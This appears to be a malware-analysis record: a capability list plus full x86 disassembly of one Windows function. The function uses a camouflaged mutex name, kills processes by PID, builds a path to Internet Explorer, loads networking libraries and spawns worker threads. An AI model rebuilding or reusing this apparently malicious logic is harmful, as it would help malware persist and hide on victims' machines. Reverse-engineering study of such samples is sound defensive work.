Function at 0x402f40
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Get common file path
Get program files directory
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403051
push 0x4078a8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x403051
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x14], eax
push 0x40
push 0
lea edx, [ebp - 0x7c]
push edx
call fcn.004017c0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov eax, dword [ebp - 8]
push eax
push str._s_d
lea ecx, [ebp - 0x7c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edx, 1
test edx, edx
je 0x403051
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403037
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004010c0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x403035
mov eax, dword [ebp - 4]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc], eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403051
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402fb9
cmp dword [0x40836c], 0
je 0x403078
mov ecx, dword [0x40836c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
test eax, eax
je 0x403078
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40305a
cmp dword [0x408360], 0
jne 0x4030b2
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.WindowsResilienceServiceMutex1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x408360], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4030b2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x408368], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x408c2c], eax
push str.IsWow64Process
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x408c98], eax
cmp dword [0x408364], 0
jne 0x4031ad
call fcn.00401370
mov dword [0x408c90], eax
push 0x208
push 0
push 0x408540
call fcn.004017c0
add esp, 0xc
cmp dword [0x408c90], 1
jne 0x403146
mov dword [ebp - 4], 0x2a
push 0x408540
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x4079f8
push 0x408540
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x403172
mov dword [ebp - 4], 0x26
push 0x408540
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Internet_Exploreriexplore.exe
push 0x408540
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x408c30], eax
push 0x208
push 0x4089e0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4089e0
push 0x4087c0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
call fcn.00402b80
add esp, 4
jmp 0x403223
push 0x4079ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.urlmon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.gdi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.rpcrt4.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x1c
push 0
lea ecx, [ebp - 0x3c]
push ecx
call fcn.004017c0
add esp, 0xc
push 0x1c
lea edx, [ebp - 0x3c]
push edx
push entry0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [ebp - 0x38]
mov dword [0x408c30], eax
call fcn.00402950
test eax, eax
jne 0x403231
call fcn.00402a50
call fcn.00402a70
push str.GetLastInputInfo
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x408c9c], eax
call fcn.004012f0
push 0x9c40
push 8
mov ecx, dword [0x408c2c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x408c8c], eax
mov dword [0x4083c8], 0x9c40
mov dword [0x408c3c], 0
push str.NoProcess
push 0x408380
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x408c38], 0x927c0
mov dword [0x408c34], 0x1388
push 0x18
push 0
push 0x408c00
call fcn.004017c0
add esp, 0xc
push 0x408c00
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x408c18], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x408c1c], eax
push 5
push 0x408520
call fcn.004011c0
add esp, 8
push 0xa
push 0
push 0x408510
call fcn.004017c0
add esp, 0xc
push 0xa
push 0x408510
push 0x408520
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x408520
call fcn.004013c0
add esp, 0x10
cmp dword [0x408374], 0
jne 0x403395
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 1
push 0
push 0x13880
push 0
push 4
lea edx, [ebp - 0x20]
push edx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x408374], eax
push 0
push 0
push 0
push 6
mov eax, dword [0x408374]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x4083c0], eax
push 0x13880
push 0
mov ecx, dword [0x4083c0]
push ecx
call fcn.004017c0
add esp, 0xc
jmp 0x4033af
push 0
push 0
push 0
push 6
mov edx, dword [0x408374]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x4083c0], eax
mov dword [0x4083c4], 0
push 1
call fcn.00402b80
add esp, 4
push 0
push 0
push 0
push section..text
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 4
push 0x3000
push 0x65000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x408378], eax
push 0
push 0
push 0
push 0x4022d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403680
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x408c20], eax
push 0
push 0
push 0
push 0x402a60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x408c28], eax
push 0
push 0
push 0
push 0x402cc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x408c24], eax
call fcn.00402660
mov esp, ebp
pop ebp
ret